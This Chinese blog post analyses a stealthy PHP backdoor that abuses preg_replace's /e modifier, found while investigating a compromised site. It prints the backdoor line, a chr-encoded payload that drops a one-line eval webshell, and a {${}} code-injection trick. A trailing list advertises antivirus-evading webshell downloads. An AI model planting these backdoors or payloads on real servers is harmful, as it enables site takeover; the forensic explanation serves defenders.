事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的。这个着实让人蛋疼。
后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的POST数据到某个文件。然后一段时间后,此IP就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是PHP后门。但是很快使用完毕后门就被删除了。
哈哈,遇到小黑蛮细心的。
然后通过分析发现,小黑的访问的文件发现代码:
@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门。隐蔽吧,基本上任何查杀软件都查杀不到。
preg_replace函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
上面的代码是POST接受数据要测试,比较麻烦,如果换成GET获取数据的话。。。
举例:
echo preg_replace("/test/e",$_GET["h"],"jutst test");
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP代码执行)。
如果我们要POST的话,我们测试提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr (110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr (112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr (104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr (83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:
fputs(fopen(data/a.php,w),);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。
这个就恐怖了吧。。。。
再来一个有难度的例子:
查看代码打印?
<? function test($str){ } echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("1")', $_GET["h"]); ?>
提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?
当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。
在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:
echo "{${phpinfo()}}"; phpinfo会被成功执行了。
所以,各位查找后门的时候注意查找下。
OK,说了那么多,也了解了,以上我给的代码:
@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
看似很正常的代码,其实就是一个极度危险的代码,隐藏颇深啊
相关推荐
php大马 phpshell php马 php木马 php 管理php网站的好东西,php密码admin,有文件管理,执行命令,扫描端口,Mysql管理等功能
脱裤打包 php马
php马集合 php马集合php马集合php马集合
上传后地址为本地文件名,此PHP小马仅有4K.285个字节.堪称最小的PHP小马. 当然因为精简的原因,上传后什么都不显示也未提示是否成功,许多新手使用起来觉得不是很方面,我们可以加一个参数,以显示上传后的结果,代码...
php 马 免杀 php 大马
超强php提权大马!过免杀 代码
网马通用解密代码.php 网马通用解密代码.php
PHP最短马相当的好用。 PHP最短马相当的好用 ,PHP最短马相当的好用 ,PHP最短马相当的好用 。
最新过狗过盾云锁百度云大马 簡單實用 建議下載
v1.0.php好马
才卖一个资源分了,密码123123
过目前所有市面的各类防御,仅供参考。切勿用于非法途径。
提权功能强大,星外 PHP带提权功能强大的大马。星外提权。使用时最好修改一下自己的密码。
有些网站是utf8版的 要用utf8.php那个马编辑 gb2312 gbk的网站要用gbk.php那个马编辑 这样就不会出现修改文件的时候出现中文乱码 1、超强的cookie功能。 2、加强文件管理功能,增加批量删除文件。增加 新的文件...
php 生成验证码,最后生成的是验证码图片。绝对可用 我自己就是一直用这个的。使用方法:<img src="./../function/vcode.php" style="float: left">
请勿用作非法用途! 具体介绍: ://yzddmr6.tk/2019/09/01/BestShell/... udf提权自动加载路径,不用再选择@@ basedir了,并且修复了一个加载路径时的小bug 去除大马标题,防止谷歌黑客找马 从其他大马里移植了顶部函数
原创的一个PHP论坛源码,PHP+MYSQL,数据库在打的包里面,需要的TX可以看看 用来做课程设计或者毕业设计挺好的
提供给新手学习的 PHP新手教程,是一个比较有价值的PHP新手教程! 一、PHP简介 PHP是一种易于学习和使用的服务器端脚本语言。只需要很少的编程知识你就能使用PHP建立一个真正交互的WEB站点。本教程并不想让你...
1.该waf 1000多行,可防御一句话木马 注入 反序列化 命令执行,非65行只过滤的waf可比。 2.编译waf.c生成.so文件 waf.so (已编译) 3.将waf.so,watchbird.php文件存放在/var/www/html或其他目录中(/tmp) 4 每个...